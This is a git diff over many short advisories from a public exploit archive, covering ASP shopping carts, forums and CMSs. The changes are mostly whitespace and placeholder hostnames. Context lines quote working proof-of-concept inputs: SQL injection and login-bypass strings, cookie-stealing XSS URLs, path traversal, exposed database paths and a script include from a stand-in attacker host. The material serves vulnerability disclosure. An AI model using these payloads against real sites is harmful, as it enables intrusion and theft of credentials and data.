+++ b/platforms/asp/webapps/25923.txt @@ -4,4 +4,4 @@ CyberStrong eShop is prone to an SQL injection vulnerability. As a result, the a It is reported that the attacker may steal eShop authentication information. Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query. -http://www.example.com/eshop/10expand.asp?ProductCode=' \ No newline at end of file +http://www.example.com/eshop/10expand.asp?ProductCode=' \ No newline at end of file diff --git a/platforms/asp/webapps/25924.txt b/platforms/asp/webapps/25924.txt index d4d6f9d84..e10209b7f 100755 --- a/platforms/asp/webapps/25924.txt +++ b/platforms/asp/webapps/25924.txt @@ -6,4 +6,4 @@ This could allow a remote attacker to read files outside the Web root. This coul All versions of FSboard are vulnerable to this issue at the moment. -http://www.example.com/forum/default.asp?db=general&mode=download&idx=507&fileNum=1&filename=../conf.asp&nav=viewcontents&srhctgr=&srhstr=&page=1 \ No newline at end of file +http://www.example.com/forum/default.asp?db=general&mode=download&idx=507&fileNum=1&filename=../conf.asp&nav=viewcontents&srhctgr=&srhstr=&page=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25925.txt b/platforms/asp/webapps/25925.txt index 5528d9c96..e22b30e72 100755 --- a/platforms/asp/webapps/25925.txt +++ b/platforms/asp/webapps/25925.txt @@ -4,4 +4,4 @@ CyberStrong eShop is prone to an SQL injection vulnerability. As a result, the a It is reported that the attacker may steal eShop authentication information. Other attacks may be possible depending on the capabilities of the underlying database and the nature of the affected query. -http://www.example.com/eshop/10browse.asp?ProductCode=' \ No newline at end of file +http://www.example.com/eshop/10browse.asp?ProductCode=' \ No newline at end of file diff --git a/platforms/asp/webapps/25953.txt b/platforms/asp/webapps/25953.txt index b4bf9ed1c..90a31f177 100755 --- a/platforms/asp/webapps/25953.txt +++ b/platforms/asp/webapps/25953.txt @@ -5,4 +5,4 @@ Comersus Cart is prone to multiple SQL injection vulnerabilities. These issues a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/comersus6/store/comersus_optAffiliateRegistrationExec.asp?name=1&email='&Submit=Join%20now%21 -http://www.example.com/comersus6/store/comersus_optReviewReadExec.asp?idProduct='&description= \ No newline at end of file +http://www.example.com/comersus6/store/comersus_optReviewReadExec.asp?idProduct='&description= \ No newline at end of file diff --git a/platforms/asp/webapps/25956.txt b/platforms/asp/webapps/25956.txt index cbeae18e1..b9e18ae78 100755 --- a/platforms/asp/webapps/25956.txt +++ b/platforms/asp/webapps/25956.txt @@ -5,4 +5,4 @@ Comersus Cart is prone to multiple cross-site scripting vulnerabilities. These i An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/backofficetest/backOfficePlus/comersus_backoffice_listAssignedPricesToCustomer.asp?idCustomer=7&name=><script>alert(document.cookie);</script> -http://www.example.com/backofficetest/backOfficePlus/comersus_backoffice_message.asp?message=><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/backofficetest/backOfficePlus/comersus_backoffice_message.asp?message=><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/asp/webapps/25963.txt b/platforms/asp/webapps/25963.txt index 1997dabca..c1faf9d17 100755 --- a/platforms/asp/webapps/25963.txt +++ b/platforms/asp/webapps/25963.txt @@ -12,4 +12,4 @@ http://www.example.com/demo/ratings.asp??PID=' http://www.example.com/demo/dc_forum_Postslist.asp?start=' http://www.example.com/demo/dc_forum_Postslist.asp?key_m=' http://www.example.com/demo/dc_forum_Postslist.asp?psearch=1&Submit=Search%20%28%2A%29&psearchtype=' -http://www.example.com/demo/dc_forum_Postslist.asp?psearch='&Submit=Search%20%28%2A%29&psearchtype=1 \ No newline at end of file +http://www.example.com/demo/dc_forum_Postslist.asp?psearch='&Submit=Search%20%28%2A%29&psearchtype=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25965.txt b/platforms/asp/webapps/25965.txt index 42f790c3e..fab1ef72e 100755 --- a/platforms/asp/webapps/25965.txt +++ b/platforms/asp/webapps/25965.txt @@ -4,4 +4,4 @@ Dvbbs is prone to a cross-site scripting vulnerability. This issue is due to a f An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/showerr.asp?BoardID=0&ErrCodes=54&action=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/showerr.asp?BoardID=0&ErrCodes=54&action=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/asp/webapps/25981.txt b/platforms/asp/webapps/25981.txt index 97eb31ffd..1d029fb77 100755 --- a/platforms/asp/webapps/25981.txt +++ b/platforms/asp/webapps/25981.txt @@ -6,4 +6,4 @@ This issue allows a remote attacker to manipulate query structure and logic. It One may input this string into the search box on the affected pages: -'or'1'='1'or'1'='1 \ No newline at end of file +'or'1'='1'or'1'='1 \ No newline at end of file diff --git a/platforms/asp/webapps/26033.txt b/platforms/asp/webapps/26033.txt index bf5dd1bac..9c1e2e215 100755 --- a/platforms/asp/webapps/26033.txt +++ b/platforms/asp/webapps/26033.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/viewCart.asp?message=%3Cplaintext%3E \ No newline at end of file +http://www.example.com/store/viewCart.asp?message=%3Cplaintext%3E \ No newline at end of file diff --git a/platforms/asp/webapps/26069.txt b/platforms/asp/webapps/26069.txt index a34c8a805..5b57957e0 100755 --- a/platforms/asp/webapps/26069.txt +++ b/platforms/asp/webapps/26069.txt @@ -6,4 +6,4 @@ This issue is due to a failure in the application to properly sanitize user-supp An attacker can exploit this vulnerability to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. -http://www.example.com/site/message.asp?message=[script]alert(document.cookie);[/script] \ No newline at end of file +http://www.example.com/site/message.asp?message=[script]alert(document.cookie);[/script] \ No newline at end of file diff --git a/platforms/asp/webapps/26070.txt b/platforms/asp/webapps/26070.txt index 8de0fb882..92583c72b 100755 --- a/platforms/asp/webapps/26070.txt +++ b/platforms/asp/webapps/26070.txt @@ -7,4 +7,4 @@ Successful exploitation results in gaining full administrative access within the A proof of concept is available: User ID : admin -Password : 'or '=' \ No newline at end of file +Password : 'or '=' \ No newline at end of file diff --git a/platforms/asp/webapps/26108.txt b/platforms/asp/webapps/26108.txt index d5ea76e3a..2c7d14496 100755 --- a/platforms/asp/webapps/26108.txt +++ b/platforms/asp/webapps/26108.txt @@ -4,4 +4,4 @@ DVBBS is prone to multiple cross-site scripting vulnerabilities because the appl An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/dispuser.asp?name=Walltrapass[XSS-CODE] \ No newline at end of file +http://www.example.com/dispuser.asp?name=Walltrapass[XSS-CODE] \ No newline at end of file diff --git a/platforms/asp/webapps/26154.txt b/platforms/asp/webapps/26154.txt index d28dc7a3f..076f6e346 100755 --- a/platforms/asp/webapps/26154.txt +++ b/platforms/asp/webapps/26154.txt @@ -4,4 +4,4 @@ PersianBlog is prone to an SQL injection vulnerability. This issue is due to a f Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/userslist.asp?page=2'&catid=16 \ No newline at end of file +http://www.example.com/userslist.asp?page=2'&catid=16 \ No newline at end of file diff --git a/platforms/asp/webapps/26156.txt b/platforms/asp/webapps/26156.txt index c1c5de9ad..eeb2e1d95 100755 --- a/platforms/asp/webapps/26156.txt +++ b/platforms/asp/webapps/26156.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerability could lead to a compromise of the calculator.asp?cpaint_function=addNumbers&cpaint_argument[]=1&cpaint_argument[]=2")%20%26%20eval("malicious code -http://someserver/cpaintfile.asp?cpaint_function=response.write&cpaint_argument[]=2")%20%26%20eval("malicious code \ No newline at end of file +http://someserver.com/cpaintfile.asp?cpaint_function=response.write&cpaint_argument[]=2")%20%26%20eval("malicious code \ No newline at end of file diff --git a/platforms/asp/webapps/26291.txt b/platforms/asp/webapps/26291.txt index 3f60a8843..23931c3f8 100755 --- a/platforms/asp/webapps/26291.txt +++ b/platforms/asp/webapps/26291.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos <form action="http://www.example.com/m23Basket/AddItem.asp?idProduct=6" method="POST"> <input type="hidden" name="idOption_Dropdown_2" value="'[SQL INJECTION]"> <input type="Submit" name="submit" value="Test Exploit"> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/asp/webapps/26335.txt b/platforms/asp/webapps/26335.txt index 85976e0a4..1af226218 100755 --- a/platforms/asp/webapps/26335.txt +++ b/platforms/asp/webapps/26335.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to have arbitrary script code executed in http://www.example.com/target/search.asp?strSQL=SELECT+%2A+FROM+pages+where+1=2+union +all+select+'01','02','%3CScRiPT%20src=http://h4cK3r/devil_Script/%3E' -,null,null,null,null,null,null+from+control \ No newline at end of file +,null,null,null,null,null,null+from+control \ No newline at end of file diff --git a/platforms/asp/webapps/26351.txt b/platforms/asp/webapps/26351.txt index 7cb0b649e..11d0ad83e 100755 --- a/platforms/asp/webapps/26351.txt +++ b/platforms/asp/webapps/26351.txt @@ -4,4 +4,4 @@ BackOffice Plus is prone to multiple cross-site scripting vulnerabilities. These An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/backOfficePlus/comersus_backoffice_searchItemForm.asp?forwardTo1=[XSS-CODE]comersus_backoffice_listAssignedCategories.asp&forwardTo2=[XSS-CODE]&nameFT1=[XSS-CODE]Select&nameFT2=[XSS-CODE] \ No newline at end of file +http://www.example.com/backOfficePlus/comersus_backoffice_searchItemForm.asp?forwardTo1=[XSS-CODE]comersus_backoffice_listAssignedCategories.asp&forwardTo2=[XSS-CODE]&nameFT1=[XSS-CODE]Select&nameFT2=[XSS-CODE] \ No newline at end of file diff --git a/platforms/asp/webapps/26426.html b/platforms/asp/webapps/26426.html index 6caabec8d..6f4323d31 100755 --- a/platforms/asp/webapps/26426.html +++ b/platforms/asp/webapps/26426.html @@ -28,4 +28,4 @@ of Iran</a></p> <input type="hidden" name="userid" value="[SQL Injection}"> <input type="hidden" name="passwd" value="1"> <input type="submit" value="Submit" name="submit"> -</form></html> \ No newline at end of file +</form></html> \ No newline at end of file diff --git a/platforms/asp/webapps/26430.txt b/platforms/asp/webapps/26430.txt index 33bd78d29..5aad367b3 100755 --- a/platforms/asp/webapps/26430.txt +++ b/platforms/asp/webapps/26430.txt @@ -8,4 +8,4 @@ It should be noted these vulnerabilities can only be exploited if a non-privileg http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=';StatusFilter=ERRR&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=';&computerFilter=187&impactFilter=29&saveFilter=save&Page=rep -http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=ERRR&computerFilter=';&impactFilter=29&saveFilter=save&Page=rep \ No newline at end of file +http://www.example.com/reports/default.asp?sort=[ReportImpact_Name]&Dir=asc&SearchText=CIRT.DK&StatusFilter=ERRR&computerFilter=';&impactFilter=29&saveFilter=save&Page=rep \ No newline at end of file diff --git a/platforms/asp/webapps/26435.txt b/platforms/asp/webapps/26435.txt index 01af6fef7..74a4bae74 100755 --- a/platforms/asp/webapps/26435.txt +++ b/platforms/asp/webapps/26435.txt @@ -4,4 +4,4 @@ ASP Fast Forum is prone to a cross-site scripting vulnerability. This issue is d An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/error.asp?error=[XSS] \ No newline at end of file +http://www.example.com/forum/error.asp?error=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26439.txt b/platforms/asp/webapps/26439.txt index b5042e547..2f95ffec7 100755 --- a/platforms/asp/webapps/26439.txt +++ b/platforms/asp/webapps/26439.txt @@ -4,4 +4,4 @@ Snitz Forum is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&Forum_Title=General+chat&type="><script>alert("PWND")</script> \ No newline at end of file +http://www.example.com/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&Forum_Title=General+chat&type="><script>alert("PWND")</script> \ No newline at end of file diff --git a/platforms/asp/webapps/26445.pl b/platforms/asp/webapps/26445.pl index d8e43bf9d..fa50f2911 100755 --- a/platforms/asp/webapps/26445.pl +++ b/platforms/asp/webapps/26445.pl @@ -69,8 +69,8 @@ An attacker can exploit these vulnerabilities to retrieve sensitive and privileg # Connection closed by foreign host. # # exemple: -# www.server/comersus/database/comersus.mdb -# www.server/database/comersus.mdb +# www.site.com/comersus/database/comersus.mdb +# www.site.com/database/comersus.mdb # # Decryption vulnerability (all versions) # the problem is that comersus encryption tool use @@ -122,11 +122,11 @@ An attacker can exploit these vulnerabilities to retrieve sensitive and privileg # this issues are due to a failure in the application to properly sanitize user-supplied input. an attacker may exploit this vulnerability # to have arbitrary script code executed in the browser # blackofficeelite: -# server/comersus/backofficelite/comersus_backoffice_message.asp?message=<script>alert('vul');</script> +# www.target.com/comersus/backofficelite/comersus_backoffice_message.asp?message=<script>alert('vul');</script> # or blackofficeplus -# server/comersus/backofficeplus/comersus_backoffice_message.asp?message=<script>alert('vul');</script> +# www.target.com/comersus/backofficeplus/comersus_backoffice_message.asp?message=<script>alert('vul');</script> # -# server/comersus/backofficePlus/comersus_backoffice_supportError.asp?error=<script>alert('vul');</script> +# www.target.com/comersus/backofficePlus/comersus_backoffice_supportError.asp?error=<script>alert('vul');</script> # # i wrote the following code for testing and educational # purposes, use it at your own risk and on your own machine diff --git a/platforms/asp/webapps/26473.txt b/platforms/asp/webapps/26473.txt index 95d58c187..1665bffb1 100755 --- a/platforms/asp/webapps/26473.txt +++ b/platforms/asp/webapps/26473.txt @@ -6,4 +6,4 @@ The application does properly verify access privileges and allows the attacker t Version 1.01 is affected; other versions may also be vulnerable. -http://www.example.com/admin/view.asp \ No newline at end of file +http://www.example.com/admin/view.asp \ No newline at end of file diff --git a/platforms/asp/webapps/26537.html b/platforms/asp/webapps/26537.html index b1a0d7d9c..cdbe2dc92 100755 --- a/platforms/asp/webapps/26537.html +++ b/platforms/asp/webapps/26537.html @@ -15,4 +15,4 @@ By ConcorDHacK")</script> <a href="http://hackzord-security.fr.tc">www.hackzord-security.fr.tc</a> </form> </body> -</HTML> \ No newline at end of file +</HTML> \ No newline at end of file diff --git a/platforms/asp/webapps/2662.txt b/platforms/asp/webapps/2662.txt index 221f5395c..efaebcf56 100755 --- a/platforms/asp/webapps/2662.txt +++ b/platforms/asp/webapps/2662.txt @@ -24,10 +24,10 @@ Bugs are available in "DisableForum.asp" and "enableForum.asp" in forum director Exploit: (or POC) -------------------- 1- unAuthenticated user can delete every sites virtual directory on hc sites by forum! -/forum/HCSpecific/DisableForum.asp?action=disableforum&WSiteName=testserver&VDirName=test&ForumID=1 +/forum/HCSpecific/DisableForum.asp?action=disableforum&WSiteName=testsite.com&VDirName=test&ForumID=1 ----------------------------------------------------------------- 2- unAuthenticated user can make forum virtual directory (with the desire name) for everysites on hc by forum! -/forum/HCSpecific/EnableForum.asp?action=enableforum&WSiteName=testserver&VDirName=test&ForumID= +/forum/HCSpecific/EnableForum.asp?action=enableforum&WSiteName=testsite.com&VDirName=test&ForumID= ----------------------------------------------------------------- 3- unAuthenticated user can disable all hc forums by SQL_Injection /forum/HCSpecific/DisableForum.asp?action=disableforum&ForumID=1 or 1=1 diff --git a/platforms/asp/webapps/26702.txt b/platforms/asp/webapps/26702.txt index e67a0ce52..367e7fe63 100755 --- a/platforms/asp/webapps/26702.txt +++ b/platforms/asp/webapps/26702.txt @@ -4,4 +4,4 @@ ASPS Shopping Cart is prone to multiple cross-site scripting vulnerabilities. Th An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. -http://www.example.com/products/bsearch.asp?b_search=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&x=12&y=7 \ No newline at end of file +http://www.example.com/products/bsearch.asp?b_search=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&x=12&y=7 \ No newline at end of file diff --git a/platforms/asp/webapps/26704.txt b/platforms/asp/webapps/26704.txt index 162d78d3d..82f55541a 100755 --- a/platforms/asp/webapps/26704.txt +++ b/platforms/asp/webapps/26704.txt @@ -4,4 +4,4 @@ Solupress News is prone to a cross-site scripting vulnerability. This issue is d An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/search.asp?option=simple&keywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&submit1=Find \ No newline at end of file +http://www.example.com/search.asp?option=simple&keywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&submit1=Find \ No newline at end of file diff --git a/platforms/asp/webapps/26705.txt b/platforms/asp/webapps/26705.txt index 968dbdd36..78c23f948 100755 --- a/platforms/asp/webapps/26705.txt +++ b/platforms/asp/webapps/26705.txt @@ -4,4 +4,4 @@ SiteBeater News is prone to a cross-site scripting vulnerability. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/ArticleDisplay/Archive.asp?DOMAIN_Link=&sSort=SubmitDate&iSearchID=389&sKeywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/ArticleDisplay/Archive.asp?DOMAIN_Link=&sSort=SubmitDate&iSearchID=389&sKeywords=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/asp/webapps/26742.txt b/platforms/asp/webapps/26742.txt index a20cd2681..9dd09ab77 100755 --- a/platforms/asp/webapps/26742.txt +++ b/platforms/asp/webapps/26742.txt @@ -4,4 +4,4 @@ DuPortalPro is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/demos/DUportalPro34Demo/home/password.asp?result=[XSS] \ No newline at end of file +http://www.example.com/demos/DUportalPro34Demo/home/password.asp?result=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26743.txt b/platforms/asp/webapps/26743.txt index d999e51e5..9a6155143 100755 --- a/platforms/asp/webapps/26743.txt +++ b/platforms/asp/webapps/26743.txt @@ -8,4 +8,4 @@ Versions 2.x and prior are vulnerable; other versions may also be affected. http://www.example.com/kb.asp?a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E -http://www.example.com/kb.asp?ID=210&a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/kb.asp?ID=210&a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/26744.txt b/platforms/asp/webapps/26744.txt index 23d6bbcc4..76ea561e0 100755 --- a/platforms/asp/webapps/26744.txt +++ b/platforms/asp/webapps/26744.txt @@ -9,4 +9,4 @@ Versions 3.x and prior are vulnerable; other versions may also be affected. http://www.example.com/search.asp?sort=ed&L=[XSS] http://www.example.com/search.asp?sort=[XSS] http://www.example.com/search.asp?sort=ed&L=1&category=[XSS] -http://www.example.com/search.asp?sort=ed&L=1&category=65&categoryname=[XSS] \ No newline at end of file +http://www.example.com/search.asp?sort=ed&L=1&category=65&categoryname=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26745.txt b/platforms/asp/webapps/26745.txt index 01e206ac6..27a1f73a7 100755 --- a/platforms/asp/webapps/26745.txt +++ b/platforms/asp/webapps/26745.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Versions 4.0 is vulnerable; prior versions may also be affected. -http://www.example.com/search.asp?searchtxt=[XSS] \ No newline at end of file +http://www.example.com/search.asp?searchtxt=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26746.txt b/platforms/asp/webapps/26746.txt index 21e9d1da2..479da920e 100755 --- a/platforms/asp/webapps/26746.txt +++ b/platforms/asp/webapps/26746.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce A-FAQ 1.0 and earlier versions are vulnerable; other versions may also be affected. -http://www.example.com/faqDspItem.asp?faqid=[SQL] \ No newline at end of file +http://www.example.com/faqDspItem.asp?faqid=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/26747.txt b/platforms/asp/webapps/26747.txt index f143b2c4d..2221ceed6 100755 --- a/platforms/asp/webapps/26747.txt +++ b/platforms/asp/webapps/26747.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce A-FAQ 1.0 and earlier versions are vulnerable; other versions may also be affected. -http://www.example.com/faqDsp.asp?catcode=[SQL] \ No newline at end of file +http://www.example.com/faqDsp.asp?catcode=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/26759.txt b/platforms/asp/webapps/26759.txt index 04885d7db..942510423 100755 --- a/platforms/asp/webapps/26759.txt +++ b/platforms/asp/webapps/26759.txt @@ -4,4 +4,4 @@ ASPMForum is prone to multiple SQL injection vulnerabilities. These issues are d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/aspmforum/forum.asp?baslik=[sql injection] \ No newline at end of file +http://www.example.com/aspmforum/forum.asp?baslik=[sql injection] \ No newline at end of file diff --git a/platforms/asp/webapps/26777.txt b/platforms/asp/webapps/26777.txt index 39e85fe1d..423eca5f8 100755 --- a/platforms/asp/webapps/26777.txt +++ b/platforms/asp/webapps/26777.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th An attacker may also leverage this issue to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could also result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/searchdb.asp?q=[CODE]&mode=AND&Submit=Search \ No newline at end of file +http://www.example.com/searchdb.asp?q=[CODE]&mode=AND&Submit=Search \ No newline at end of file diff --git a/platforms/asp/webapps/26806.txt b/platforms/asp/webapps/26806.txt index a31b470f4..bd2d886b1 100755 --- a/platforms/asp/webapps/26806.txt +++ b/platforms/asp/webapps/26806.txt @@ -57,4 +57,4 @@ HTTP/1.1 Solution: No Solution has yet been provided. -Please contact the vendor. \ No newline at end of file +Please contact the vendor. \ No newline at end of file diff --git a/platforms/asp/webapps/26820.txt b/platforms/asp/webapps/26820.txt index 7f8e5a022..c27e08ad9 100755 --- a/platforms/asp/webapps/26820.txt +++ b/platforms/asp/webapps/26820.txt @@ -4,4 +4,4 @@ XM Forum is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/forum.asp?forum_id=3&forum_title=[XSS] \ No newline at end of file +http://www.example.com/forum/forum.asp?forum_id=3&forum_title=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26823.txt b/platforms/asp/webapps/26823.txt index 4916e2292..ff01e4451 100755 --- a/platforms/asp/webapps/26823.txt +++ b/platforms/asp/webapps/26823.txt @@ -4,4 +4,4 @@ ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due t Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/aspbb/profile.asp/PROFILE_ID=[sql injection] \ No newline at end of file +http://www.example.com/aspbb/profile.asp/PROFILE_ID=[sql injection] \ No newline at end of file diff --git a/platforms/asp/webapps/26874.txt b/platforms/asp/webapps/26874.txt index 3a994cff3..1979588c9 100755 --- a/platforms/asp/webapps/26874.txt +++ b/platforms/asp/webapps/26874.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Acidcat CMS version 2.1.13 and prior are vulnerable; other versions may also be affected. -http://www.example.com/acidcat/databases/acidcat.mdb \ No newline at end of file +http://www.example.com/acidcat/databases/acidcat.mdb \ No newline at end of file diff --git a/platforms/asp/webapps/26876.txt b/platforms/asp/webapps/26876.txt index 11007a742..3d6d2ccd5 100755 --- a/platforms/asp/webapps/26876.txt +++ b/platforms/asp/webapps/26876.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Allinta versions 2.3.2 and earlier are reportedly affected by this vulnerability. -http://example.com/search.asp?searchQuery=[XSS]&go=Search&submitted=true \ No newline at end of file +http://example.com/search.asp?searchQuery=[XSS]&go=Search&submitted=true \ No newline at end of file diff --git a/platforms/asp/webapps/26903.txt b/platforms/asp/webapps/26903.txt index a9ca7f0c9..673dcaf73 100755 --- a/platforms/asp/webapps/26903.txt +++ b/platforms/asp/webapps/26903.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce http://www.example.com/Page.asp?PageID=[XSS] http://www.example.com/Page.asp?PageID=1&SiteNodeID=[XSS] -http://www.example.com/Page.asp?PageID=1&SiteNodeID=[SQL] \ No newline at end of file +http://www.example.com/Page.asp?PageID=1&SiteNodeID=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/26926.txt b/platforms/asp/webapps/26926.txt index 09496f7e2..e8adb5748 100755 --- a/platforms/asp/webapps/26926.txt +++ b/platforms/asp/webapps/26926.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th PortalApp 4.0 and prior are vulnerable. -http://www.example.com/login.asp?ret_page=[XSS] \ No newline at end of file +http://www.example.com/login.asp?ret_page=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26927.txt b/platforms/asp/webapps/26927.txt index a7710424f..9754d0d15 100755 --- a/platforms/asp/webapps/26927.txt +++ b/platforms/asp/webapps/26927.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Version 3.3. and prior are vulnerable; other versions may also be affected. -http://www.example.com/login.asp?ret_page=[XSS] \ No newline at end of file +http://www.example.com/login.asp?ret_page=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26929.txt b/platforms/asp/webapps/26929.txt index b0813d9ac..086a445e5 100755 --- a/platforms/asp/webapps/26929.txt +++ b/platforms/asp/webapps/26929.txt @@ -8,4 +8,4 @@ Version 3.3. and prior are vulnerable; other versions may also be affected. http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=%3E&do_search=[XSS] -http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=[XSS] \ No newline at end of file +http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26936.txt b/platforms/asp/webapps/26936.txt index 6d0fbfeb3..312fc1845 100755 --- a/platforms/asp/webapps/26936.txt +++ b/platforms/asp/webapps/26936.txt @@ -4,4 +4,4 @@ ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issu An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/default.asp?skin_number=[XSS] \ No newline at end of file +http://www.example.com/default.asp?skin_number=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26946.txt b/platforms/asp/webapps/26946.txt index 84f1a6f11..319de4aba 100755 --- a/platforms/asp/webapps/26946.txt +++ b/platforms/asp/webapps/26946.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. -http://www.example.com/requestDemo.asp?example7=[XSS] \ No newline at end of file +http://www.example.com/requestDemo.asp?example7=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/26949.txt b/platforms/asp/webapps/26949.txt index 52a64d3ab..6fa1172e9 100755 --- a/platforms/asp/webapps/26949.txt +++ b/platforms/asp/webapps/26949.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. -http://www.example.com/registration-form.html?ClickFrom=[xss] \ No newline at end of file +http://www.example.com/registration-form.html?ClickFrom=[xss] \ No newline at end of file diff --git a/platforms/asp/webapps/26964.txt b/platforms/asp/webapps/26964.txt index 8fc99b928..21067c96e 100755 --- a/platforms/asp/webapps/26964.txt +++ b/platforms/asp/webapps/26964.txt @@ -4,4 +4,4 @@ QP7.Enterprise is prone to multiple SQL injection vulnerabilities. These issues Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/news.asp?p_pagealias=news&p_news_id=1[SQL] \ No newline at end of file 